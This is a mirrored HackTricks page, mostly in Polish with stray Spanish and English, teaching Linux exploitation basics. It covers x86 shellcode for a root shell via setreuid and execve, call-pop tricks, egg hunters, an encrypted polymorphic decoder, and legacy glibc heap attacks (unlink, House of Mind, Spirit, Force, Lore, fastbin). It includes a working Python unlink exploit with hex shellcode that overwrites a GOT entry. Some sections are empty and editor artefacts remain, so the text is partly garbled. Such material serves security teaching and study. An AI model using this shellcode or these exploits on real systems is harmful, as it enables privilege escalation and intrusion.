mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
499 lines
28 KiB
Markdown
499 lines
28 KiB
Markdown
# Eksploitacja systemu Linux (Podstawy)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||
|
||
</details>
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; clear eax\
|
||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Execute syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||
**ld assembly.o -o shellcodeout** —> Gives us an executable formed by the assembly code and we can extract the opcodes with **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||
|
||
**Verify that the shellcode works**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w **strace ./SKOMPILOWANY\_PROGRAM**
|
||
|
||
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji wywołania umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
|
||
|
||
EJ **SZTUCZKA (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**Użycie ESP do użycia stosu (/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Łowca jajek:**
|
||
|
||
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.
|
||
|
||
**Shellkody polimorficzne**
|
||
|
||
Polegają na zaszyfrowanych shellkodach, które posiadają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowany szyfrem Cezara**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5. Metody uzupełniające**
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
###
|
||
|
||
|
||
|
||
|
||
|
||
## **8 Przepełnienia sterty: Podstawowe ataki**
|
||
|
||
**Przypisany kawałek**
|
||
|
||
prev\_size |\
|
||
size | —Nagłówek\
|
||
\*mem | Dane
|
||
|
||
**Wolny kawałek**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | Ptr do przodu\
|
||
\*bk | Ptr do tyłu —Nagłówek\
|
||
\*mem | Dane
|
||
|
||
Wolne kawałki są w liście dwukierunkowej (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone)
|
||
|
||
W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru.
|
||
|
||
Podczas zwalniania kawałka, jeśli którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i największy nowy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> BK nowego kawałka to ten, który był wolny wcześniej\
|
||
FD = P->fd; —> FD nowego kawałka to ten, który był wolny wcześniej\
|
||
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
|
||
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
|
||
}
|
||
|
||
Dlatego jeśli uda nam się zmodyfikować P->bk na adres shellcode i P->fd na adres wpisu w GOT lub DTORS pomniejszony o 12, osiągniemy:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
W ten sposób shellcode zostanie wykonana po opuszczeniu programu.
|
||
|
||
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwszą instrukcją shellcode powinno być skok, aby ominąć to i przejść do nops prowadzących do reszty shellcode.
|
||
|
||
Dlatego exploit jest tworzony:
|
||
|
||
W buforze 1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.
|
||
|
||
Po shellcode dodajemy wypełnienie do osiągnięcia pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i ustawić bit wskazujący, że jest wolny) oraz "-4" (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, faktycznie przejdzie do zmodyfikowanego prev\_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3., ale faktycznie przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie wywoła **unlink()**.
|
||
|
||
Podczas wywoływania unlink() użyje pierwszych danych z 2. kawałka jako P->fd, więc tam zostanie wstawiony adres do nadpisania - 12 (ponieważ w FD->bk dodaje 12 do adresu przechowywanego w FD). A pod tym adresem zostanie wprowadzony drugi adres z 2. kawałka, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #skok 12 + 12 bajtów wypełnienia**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, aby program myślał, że "size" 3. kawałka jest 4 bajty wcześniej (wskazuje na prev\_size), bo tam sprawdza, czy 2. kawałek jest wolny**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na początku ładujemy 8 bajtów wypełnienia do payloadu**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie nadpisany, aby shellcode została uruchomiona 2. raz, gdy free() zostanie wywołane)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Jak wspomniano, payload zaczyna się od 8 bajtów wypełnienia**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modyfikujemy 2. kawałek, got\_free wskazuje, gdzie zapiszemy adres addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() zwalniając w odwrotnej kolejności (wargame)**
|
||
|
||
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności niż były rezerwowane.
|
||
|
||
W tym przypadku:
|
||
|
||
W kawałku c umieszczamy shellcode
|
||
|
||
Kawałek a używamy do nadpisania b, aby size miał wyłączony bit PREV\_INUSE, aby program myślał, że kawałek a jest wolny.
|
||
|
||
Dodatkowo, w nagłówku b nadpisujemy size, aby wynosił -4.
|
||
|
||
Wtedy program uzna, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV\_SIZE wynosi -4, uzna, że kawałek "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() dla kawałka, który zaczyna się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".
|
||
|
||
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()"-12, mamy nasz payload.
|
||
|
||
**Technika Frontlink**
|
||
|
||
Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich kawałków nie jest wolny, wtedy nie jest wywoływane unlink(), ale jest bezpośrednio wywoływane frontlink().
|
||
|
||
Użyteczna podatność, gdy atakowany malloc nigdy nie jest zwalniany (free()).
|
||
|
||
Wymaga:
|
||
|
||
Bufora, który może zostać przepełniony funkcją wejściową
|
||
|
||
Bufora sąsiadującego z tym, który zostanie zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
|
||
|
||
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
|
||
|
||
Bufora zadeklarowanego przed krokiem 3, który pozwala na nadpisanie prev\_size tego bufora
|
||
|
||
Dzięki temu, poprzez nadpisanie dwóch malloców w sposób niekontrolowany i jednego w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy przeprowadzić exploit.
|
||
|
||
**Podatność double free()**
|
||
|
||
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, są dwa biny wskazujące na ten sam adres.
|
||
|
||
Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć drugiego, zostanie przydzielona ta sama przestrzeń, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zostaną zapisane przez poprzednią rezerwację.
|
||
|
||
**Po free()**
|
||
|
||
Wskaźnik wcześniej zwolniony jest ponownie używany bez kontroli.
|
||
## **8 Przepełnienia sterty: Zaawansowane ataki**
|
||
|
||
Techniki Unlink() i FrontLink() zostały usunięte poprzez modyfikację funkcji unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Wystarczy jedno wywołanie free(), aby spowodować wykonanie arbitralnego kodu. Szukamy drugiego kawałka, który może zostać nadpisany przez poprzedni i zwolniony.
|
||
|
||
Wywołanie free() powoduje wywołanie public\_fREe(mem), co powoduje:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Zwraca wskaźnik do miejsca, gdzie zaczyna się kawałek (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
W \[1] sprawdzany jest rozmiar pola NON\_MAIN\_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wykonało heap\_for\_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 mniej znaczących bajtów (w naszym przypadku z 0x0804a000 na 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jak do struktury heap\_info).
|
||
|
||
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, na przykład, **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, heap\_for\_ptr(ptr)->ar\_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd pobiera wartość pierwszych 4 bajtów, ar\_ptr).
|
||
|
||
W ten sposób wywoływane jest \_int\_free(ar\_ptr, mem), czyli **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym kawałku.
|
||
|
||
Zgodnie z definicją unsorted\_chunks, wiemy, że:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Dlatego jeśli w av->bins\[2] wpiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zostanie zapisana w \_\_DTOR\_END\_\_ adres drugiego kawałka.
|
||
|
||
Inaczej mówiąc, na początku pierwszego kawałka musimy umieścić wiele razy adres \_\_DTOR\_END\_\_-12, ponieważ av->bins\[2] go stamtąd weźmie.
|
||
|
||
W miejscu, gdzie znajduje się adres drugiego kawałka z ostatnimi 5 zerami, należy wpisać adres tego pierwszego kawałka, aby heap\_for\_ptr() uznał, że ar\_ptr znajduje się na początku pierwszego kawałka i stamtąd wyciągnął av->bins\[2].
|
||
|
||
W drugim kawałku, dzięki pierwszemu, nadpisujemy prev\_size skokiem 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA.
|
||
|
||
Następnie w kawałku 2 umieszczamy dużo nops i ostatecznie shellcode.
|
||
|
||
W ten sposób zostanie wywołane \_int\_free(KAWAŁEK1, KAWAŁEK2) i zostaną wykonane instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size KAWAŁKA2, który skoczy do shellcode.
|
||
|
||
Aby zastosować tę technikę, konieczne jest spełnienie kilku dodatkowych wymagań, które nieco komplikują payload.
|
||
|
||
Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Porównuje się, czy nowe miejsce, do którego się odwołuje, również odwołuje się do niego.
|
||
|
||
**Fastbin**
|
||
|
||
To wariant The house of mind
|
||
|
||
Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji \_int\_free()
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
W ten sposób, jeśli umieścimy w "fb" adres funkcji w GOT, pod tym adresem umieszczona zostanie nadpisana wartość. Wymaga to, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
|
||
|
||
Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av.
|
||
|
||
Jeśli więc w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1], który wskaże na av->max\_fast
|
||
|
||
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie na który wskaże, ale ta pozycja zostanie nadpisana).
|
||
|
||
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 8, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops).
|
||
|
||
Dodatkowo ten sam fałszywy kawałek musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
|
||
|
||
Ze względu na nulle w \_DTOR\_END\_ i niewiele adresów w GOT, żaden z tych obszarów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos.
|
||
|
||
Innym sposobem ataku jest przekierowanie **av** na stos.
|
||
|
||
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0] i możemy z tego skorzystać, aby nadpisać stos.
|
||
|
||
W tym przypadku nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w: 4 bajty nulle + EBP + RET
|
||
|
||
4 bajty nulle są potrzebne, aby **av** znajdował się pod tym adresem, a pierwszym elementem **av** jest mutex, który musi wynosić 0.
|
||
|
||
**av->max\_fast** będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
|
||
|
||
W **av->fastbins\[0]** zostanie nadpisany adresem **p** i będzie RET, co spowoduje skok do shellcode.
|
||
|
||
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzenie.
|
||
|
||
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 16, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops, które znajdują się po polu size nowego fałszywego kawałka).
|
||
|
||
**The House of Spirit**
|
||
|
||
W tym przypadku szukamy wskaźnika malloc, który może być zmieniony przez atakującego (na przykład, aby wskaźnik znajdował się na stosie pod potencjalnym przepełnieniem zmiennej).
|
||
|
||
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby gdziekolwiek. Jednak nie każde miejsce jest dobre, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
|
||
Jeśli na przykład program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować zmienialny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, jeśli mamy szczęście, więc 48 pozostaje z tyłu, jakby to była nagłówek rozmiaru). Ponadto adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Jeśli to zostanie spełnione, gdy zostanie wywołany kolejny malloc, który określiliśmy jako malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
|
||
|
||
Wygląda na to, że dlatego, gdy zostanie zwolniony free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chcemy zarezerwować, więc przypisuje mu ten adres.
|
||
|
||
**The House of Force**
|
||
|
||
Potrzebne jest:
|
||
|
||
* Przepełnienie do kawałka, które pozwala na nadpisanie wilderness
|
||
* Wywołanie malloc() z rozmiarem określonym przez użytkownika
|
||
* Wywołanie malloc(), którego dane mogą być zdefiniowane przez użytkownika
|
||
|
||
Po pierwsze, nadpisujemy rozmiar kawałka wilderness wartością bardzo dużą (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty.
|
||
|
||
Po drugie, zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, takiego jak stos. W av->top umieszczamy \&EIP - 8.
|
||
|
||
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim pobiera adres bieżącego kawałka wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
W ten sposób zmodyfikowany zostanie av->top, a następny malloc wskaże na EIP i będzie można go nadpisać.
|
||
|
||
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar będzie dokładnie w polu EBP stosu.
|
||
|
||
**The House of Lore**
|
||
|
||
**Korupcja SmallBin**
|
||
|
||
Zwolnione kawałki są umieszczane w binie w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Kawałek, który został zwolniony, nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy kawałek i poprzedni zwolniony może mu posłużyć, zostanie mu zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
|
||
|
||
Aby osiągnąć podatny kod, żądanie pamięci musi być większe niż av->max\_fast (zazwyczaj 72) i mniejsze niż MIN\_LARGE\_SIZE (512).
|
||
|
||
Jeśli w binie znajduje się kawałek o odpowiednim rozmiarze, zostanie on zwrócony po odłączeniu:
|
||
|
||
bck = victim->bk; Wskaże poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
|
||
|
||
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następnemu zarezerwowanemu kawałkowi zostanie przypisany ten adres
|
||
|
||
bck->fd = bin; Lista jest zamykana, wskazując na bin
|
||
|
||
Potrzebne jest:
|
||
|
||
Zarezerwowanie dwóch malloc, tak aby po zwolnieniu drugiego i umieszczeniu go w jego binie (czyli zarezerwowaniu większego malloc niż drugi kawałek przed przepełnieniem)
|
||
|
||
Zarezerwowanie malloc, któremu atakujący może przypisać wybrany adres.
|
||
|
||
Celem jest to, że jeśli możemy przepełnić stertę, która ma poniżej siebie zwolniony kawałek w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk tego kawałka i stanie się on pierwszym na liście bin, a następnie zostanie zarezerwowany, bin zostanie oszukany i pomyśli, że ostatni kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na stosie lub GOT, na przykład). Dlatego jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma do niego uprawnienia, zostanie mu przydzielony kawałek na pożądanej pozycji i będzie mógł w nią pisać.
|
||
|
||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, aby zmodyfikowany kawałek wyszedł z unsorted bins i został umieszczony w swoim binie.
|
||
|
||
Gdy już znajdzie się w swoim binie, należy zmienić wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
|
||
|
||
Bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony pożądany kawałek.
|
||
|
||
Aby jak najszybciej wywołać podatność, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, zarezerwowanie kawałka większego od zmodyfikowanego, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co podatny i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
|
||
|
||
Aby zabezpieczyć się przed tym atakiem, stosuje się standardową weryfikację, czy kawałek „nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd\* fałszywego kawałka wskazuje na victim na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim miejscu adres victim. W ten sposób wyglądałoby to jak prawdziwy kawałek.
|
||
|
||
**Korupcja LargeBin**
|
||
|
||
Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512.
|
||
|
||
Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby to size - nb było < MINSIZE.
|
||
|
||
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się wartość bez znaku)
|
||
|
||
Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.
|
||
|
||
**Rozpylanie sterty (Heap Spraying)**
|
||
|
||
Polega na rezerwacji jak największej ilości pamięci dla sterty i wypełnienie jej poduszką z nops zakończoną shellcodem. Jako poduszki używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi nopsami, zostanie tam skoczono. W skrócie, taktyka polega na zarezerwowaniu jak największej ilości pamięci, aby sprawdzić, czy jakiś wskaźnik zostanie nadpisany, i skoczyć do 0x0c0c0c0c, mając nadzieję, że tam będą nopsy.
|
||
|
||
**Feng Shui sterty (Heap Feng Shui)**
|
||
|
||
Polega na cementowaniu pamięci poprzez rezerwacje i zwalnianie kawałków w taki sposób, aby między kawałkami wolnymi pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków.
|
||
|
||
**objdump -d executable** —> Rozkłada funkcje\
|
||
**objdump -d ./PROGRAMA | grep FUNCTION** —> Pobiera adres funkcji\
|
||
**objdump -d -Mintel ./shellcodeout** —> Aby sprawdzić, czy to na pewno nasz shellcode i uzyskać kody operacyjne\
|
||
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, aby uzyskać adres zmiennej i funkcji\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adres funkcji z bibliotek (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyświetla adres puts do nadpisania w GOT\
|
||
**objdump -D ./exec** —> Rozkłada WSZYSTKO do wpisów plt\
|
||
**objdump -p -/exec**\
|
||
